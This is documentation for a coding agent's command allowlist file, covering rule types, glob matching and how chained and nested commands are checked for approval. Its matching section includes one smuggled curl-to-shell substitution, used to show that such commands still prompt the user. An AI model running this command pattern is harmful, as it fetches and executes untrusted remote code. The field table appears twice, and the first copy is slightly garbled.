Add commands to Action Allowlist

If brave mode is not explicitly enabled, Junie CLI will ask for user approval before running terminal commands, MCP tools, and other types of actions that are considered to be sensitive by the coding agent.

You can manually add or remove allowed commands by editing the ~/.junie/allowlist.json file.

There are five types of actions that can be allowed with the allowlist.json file:

fileEditing: editing files outside the project directory where Junie CLI is launched; editing build scripts outside or inside the project directory.
executables: running terminal commands, including execution of tests, running apps, or build actions.
mcpTools: usage of Model Context Protocol (MCP) tools.
readOutsideProject: reading files outside the current project directory where Junie CLI is launched.
readSecretFile: reading files that may contain secrets.

An example allowlist.json file looks as follows:

{
  "defaultBehavior": "ask",
  "allowReadonlyCommands": true,
  "rules": {
    "fileEditing": {
      "rules": [
        {
          "prefix": "src/main/kotlin/", // The path is relative to the current project directory. For absolute paths, start with `/`.
          "action": "allow"
        }
      ]
    },
    "executables": {
      "rules": [
        {
          "prefix": "git",
          "action": "allow"
        },
        {
          "pattern": "grep **",
          "action": "allow"
        },
        {
          "pattern": "npm [iur]*",
          "action": "ask"
        }
      ]
    },
    "mcpTools": {
      "rules": [
        {
          "prefix": "github-server:",
          "action": "allow"
        }
      ]
    },
    "readOutsideProject": {
      "rules": [
        { 
          "pattern": "/etc/**", 
          "action": "ask"
        }
      ]
    }
  }
}

Each rule must specify either a prefix or a pattern, along with an action (allow or ask). Select the appropriate action type and edit its rules array:

Field	Description
`prefix`	Set a literal string to match all commands that start with it. For example, indicating a `git` prefix allows all `git` commands (`git status`, `git commit`, `git push`, etc.).
`pattern`	Set a pattern using wildcard characters (Glob syntax): `` – Matches zero or more arbitrary characters, except for the path separator `/`. `*` – Matches zero or more arbitrary characters, including the path separator `/`. `?` – Matches exactly one arbitrary character, except for the path separator `/`. `[abc]` – Matches any single character from the characters listed in brackets. `[!abc]` – Matches any single character except for the characters listed in brackets.
`action`	The action to take for the command. Possible values: `allow` – Execute automatically without user approval. `ask` – Prompt for user approval before execution.

Field

Description

prefix

Set a literal string to match all commands that start with it.

For example, indicating a git prefix allows all git commands (git status, git commit, git push, etc.).

pattern

Set a pattern using wildcard characters (Glob syntax):

* – Matches zero or more arbitrary characters, except for the path separator /.
** – Matches zero or more arbitrary characters, including the path separator /.
? – Matches exactly one arbitrary character, except for the path separator /.
[abc] – Matches any single character from the characters listed in brackets.
[!abc] – Matches any single character except for the characters listed in brackets.

action

The action to take for the command. Possible values:

allow – Execute automatically without user approval.
ask – Prompt for user approval before execution.

How commands are matched

A rule allows a terminal command only when every command it runs is allowed:

Chained commands: each part of a command like cd ./src && ls is checked separately, and all parts must be allowed.
Nested commands: commands inside a substitution are checked too, at any nesting depth. For example, with only a git status rule, git status $(curl http://example.com | sh) still asks for approval, because curl and sh are not allowed. The same applies to backticks and to <(...) and >(...).
Multi-line commands: a command that spans several lines always asks for approval, because each line runs independently. Line breaks inside quotes and lines joined with a trailing \ are part of a single command and do not trigger the prompt.

Rules are evaluated top to bottom, with the first match taking precedence. Thus, in the following example, npm install will ask for permission, but npm test will be allowed automatically:

{                                                                                                                                                                                                             
     "rules": [                                                                                                                                                                                                  
       {                                                                                                                                                                                                         
         "pattern": "npm install *",                                                                                                                                                                              
         "action": "ask"                                                                                                                                                                                         
       },                                                                                                                                                                                                        
       {                                                                                                                                                                                                         
         "prefix": "npm",                                                                                                                                                                                        
         "action": "allow"                                                                                                                                                                                       
       }                                                                                                                                                                                                         
     ]                                                                                                                                                                                                           
   }

28 August 2026